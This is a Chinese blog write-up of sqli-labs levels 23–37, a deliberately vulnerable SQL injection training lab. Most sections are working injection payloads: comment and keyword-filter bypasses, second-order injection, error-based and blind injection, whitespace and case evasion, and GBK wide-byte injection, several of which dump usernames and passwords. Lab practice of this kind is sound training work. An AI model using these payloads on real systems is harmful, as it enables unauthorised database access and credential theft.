sqlilabs通关02-中级篇:less23-37

less23:注释符绕过

先看代码

image

  1. 可以看到对字符进行替换,将 #号和--替换成了空

  2. 通过sql语句,可以知道闭合符号是单引号

然后就可以开始尝试了,由于这关是get,直接修改url的参数即可

?id=1 #正常访问
#绕过
?id=1' and '1'='1
?id=1' and sleep(3)%20 and%20 '1'='1  #说明可以使用布尔加延时去注入
#然后拆解列数发现order by貌似不行,可以使用union select去拆解
?id=-1' union select 1,1,'2 #回显成功,说明三个字段

#获取数据库相关信息
?id=-1' union select 4,1,@@datadir+'2
@@datadir mysql安装路径
@@basedir 数据库保存路径
#获取表名
?id=-1' union select 4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'2
后续就这样替换就行了

less24:二次注入

这关的前提是你不知道用户名和密码,你是第一次来到这个网站。

所以为了获取更多的信息,你应该注册一个账号。

如下代码,除了username参数没有进行处理,其余都通过mysql_real_escape_string() 函数进行sql防御措施。

mysql_real-escape_string()​ 函数的作用:转移一些特殊字符,防止sql语句被恶意注入。有点类似于java对于字符进行实体化操作。

在源代码中,仅仅只有注册账户的时候,username才没有进行处理,所以需要从注册账户的时候进行第一次注入。

思路:

  1. 注册一个带有注释符号的账户,方便后续的二次注入
  2. 通过修改密码等方式

​​image​​

  1. 注册一个带有注释符的用户,如admin' #​ ,密码123123

    ​​image​​

  2. 登录该账号,然后来到了修改密码的界面,通过源代码可知,用户名已经变成了刚才的注释,所以我们直接修改掉刚才admin​的用户密码。

    image

    ​那么此时执行的代码就是

    UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass'
    
  3. 输入你需要将admin修改成的密码,修改成功。

    image

  4. 登录amdin账号,密码为刚才修改,登录成功。查看一下sql数据库验证一下。​image

less25:or and过滤为空

字符过滤最简单的一关,看源代码

image

将or和and关键字替换成空,所以只需要双写即可。把关键字夹在关键字中间写即可。

or​->oorr

and​->anandd

?id=1' aandnd 1=1-- q
?id=-1' union select 1,2,3-- q
后续常规操作

less25a和less25同理,只是闭合符号从单引号变成了整数,即不需要闭合。

/?id=1 union select 1,2,3-- q

less26:报错注入

通过关键代码可知,替换了一部分字符为空字符

image

解决:

  1. or 或者and 替换为||和&&,或者是双写
  2. 使用报错注入,然后引号将两边闭合
  3. 空格用括号代替

#爆出数据库
?id=-1'||extractvalue(1,concat(1,database()))||'1

image

?id=-1'||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x3e))||'1 #注意infor or需要双写

?id=-1'||extractvalue(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')anandd(table_schema=database())),0x3e))||'1
?id=-1'||extractvalue(1,concat(1,(select(group_concat(id,username,passwoorrd))from(users)),0x3e))||'1 #注意passwoorrd

less26a

看了一下源代码,和less26差不多,唯一的区别是空白字符串替换了两次,以及把mysql的错误打印注释,也就是说需要使用盲注来解决即可

还有就是:闭合符多了个括号

?id=1')anandd'1'=('1 #试试布尔,成功回显

image

#回显
?id=1')anandd(length(database())>7)aandnd'1'=('1
#不回显
?id=1')anandd(length(database())>8)aandnd'1'=('1

后续按照布尔方式来注入即可

less27

过滤了如下字符串

image解释:

  1. 主要包括了一些关键字和注释符,空白
  2. /s​ 表示单行匹配
  3. /m​ 表示多行匹配

解决:

  1. 关键字貌似都没有大小写敏感,所以可以通过混乱大小写绕过
?id=-4454'unIon%0ASeLect%0A1,2,'3 #回显

image

?id=-4454'unIon%0ASeLect%0A1,database(),'3 #爆库
#爆表
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),'3
#爆出字段
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(column_name))from(information_schema.columns)where(table_name='users')And(table_schema=database())),'3
#爆出记录
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(id,username,password))from(security.users)),'3

image

less27a

闭合符号为双引号,其他相同

?id=-4454"unIon%0ASeLect%0A1,database(),"3 #爆库
?id=-4454"unIon%0ASeleCt%0A1,(SeleCt(group_concat(id,username,password))from(security.users)),"3

less27这两关,除了直接union,也可以通过extractvalue登报错 函数爆出

less28

源代码:

image分析:

除了之前的过滤,主要是多了“union空白连字符select”进行了过滤,同时不区分大小写。

闭合符号是:')

测试闭合符号是否正确
?id=1')and(''=' #回显
?id=1')and('2'=' #不回显,说明正确
/?id=1')%0Aor%0Aupdatexml(1,concat(1,database(),0x3e),1)and(''='

发现没有报错回显,只能用盲注试试了

?id=1')and(length(database())=8)and(''=' #数据库名称长度

由于union select​ 被过滤,所以中间的空格可以使用%0b​进行绕过

?id=-4454')unIon%0BSeLect%0A1,database(),('3

image

爆表

?id=-4454')unIon %0b SeLect%0A1,(select %0b group_concat(table_name)from %0b information_schema.tables %0b where %0b table_schema=database()),('3 #中间的空格可以不要,只是为了可读性,反正后端会自动过滤空格

image爆字段

?id=-4454')unIon %0b SeLect%0A1,(select %0b group_concat(column_name)from %0b information_schema.columns %0b where %0b table_schema=database() %0band%0b table_name='users'),('3

爆记录

?id=-4454')unIon %0B SeLect%0A1,(select %0B group_concat(id,username)from %0B security.users),('3

image

less28a

源代码:可以看到对一些字符过滤进行了注释,所以只需要管union select即可。

所以直接套用less28的payload即可。

image

less29:waf

源代码有个函数:

$_SERVER['QUERY_STRING']​:表示url中get所传递的参数链接

比如:http://example.com/page.php?id=123&name=John​ ,那么对应的QUERY_STRING​值就是:id=123&name=John

关于防御手段,没有看出来有什么防御手段

?id=-1' union select 1,2,3-- q

less30

闭合符号: 双引号"

?id=-1" union select 1,2,(select group_concat(id,username) from users)-- q

less31

根据测试发现闭合符号是")

?id=1") and 1=1-- q
猜列
?id=1") order by 4-- q
?id=1") order by 3-- q
?id=-1") union select 1,2,3-- q #判断回显
?id=-1") union select 1,2,database()-- q
?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- q

后续继续爆记录就行了

less32:宽字节注入

源代码,对一些字符进行了转义,比如,\​ ,/​,"​三个符号

image

由于闭合符号是需要双引号,那么就要绕过这个。

同时在连接的时候,进行了gbk编码。

这里的过滤已经能够防御大部分的sql注入,但是由于连接时使用了gbk编码,所以会有宽字节注入。

思路:使用宽字节注入,用%df​,将反斜杠去掉,同时使用hex编码对汉字进行转码,这样就不需要单引号了

宽字节注入

?id=1%df%27%20and%201=1--%20q

	?id=1%df%27 order by 4-- q

#回显
?id=-1%df%27 union select 1,2,3-- q
#爆库
?id=-1%df%27 union select 1,2,database()-- q
#爆表
?id=-1%df%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- q
#爆字段
?id=-1%df%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- q
#爆记录
?id=-1%df%27 union select 1,2,(select group_concat(0x3e,id,0x3e,username,0x3e,password) from users)-- q

image

less33

在获取id参数值后,对参数值做了转义处理。与less32不同的是,是使用自带的函数进行的转义,而less32是自己手写的转义函数。

image

addslashes​函数,用于对单引号(')、双引号(")、反斜线(\)和 NUL(NULL 字符)进行转义 。

同时也设置了gbk编码。

和less32一样,使用宽字节即可。

less34

由于post,所以需要进行抓包。

由于源代码中使用了转义函数,同时使用gbk编码,所以使用宽字节注入即可。

同时,由于前端是username和password进行登录,所以字段也变成了两个,回显的时候sql回显字段个数需要注意一下。

image

less35

这关是get方式提交数据。由于提示数据类型是number,所以就不用考虑闭合符号了。

验证闭合符号是否没有
?id=1 and 1=1 #回显
?id=1 and 1=2 #不回显,说明就是没有闭合符号

?id=1 order by 4
?id=1 order by 3

?id=-1 union select 4,5,3 #注入点回显了5和3
?id=-1 union select 4,5,database()

?id=-1 union select 4,5,group_concat(column_name) from information_schema.tables where table_name='users' #发现报错有转义,将users转成16进制

中途的一些过程省略
?id=-1 union select 4,5,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database() #爆字段
?id=-1 union select 4,5,(select group_concat(id,username,password) from users)

image

less36

使用了mysql_real_escape_string​对一些标点进行转义,防止sql注入。后端进行mysql连接时,使用了gbk编码,使用宽字节注入即可。

闭合符号:'​,注意使用%df'​去闭合即可,其他的字符串值,转换成16进制即可。

?id=-1%df' union select 4,5,(select group_concat(id,username,password) from users)-- q

less37

由于是post,先进行抓包。

这关同样是对一些特殊字符转义,所以使用宽字节注入即可。

过程同样省略

uname=1%df' order by 4-- q&passwd=1&submit=Submit
uname=-1%df' union select 5,(select group_concat(id,username,password) from users)-- q&passwd=1&submit=Submit

image

posted @ 2024-05-01 00:02  阿窝鹅  阅读(1)  评论(0编辑  收藏  举报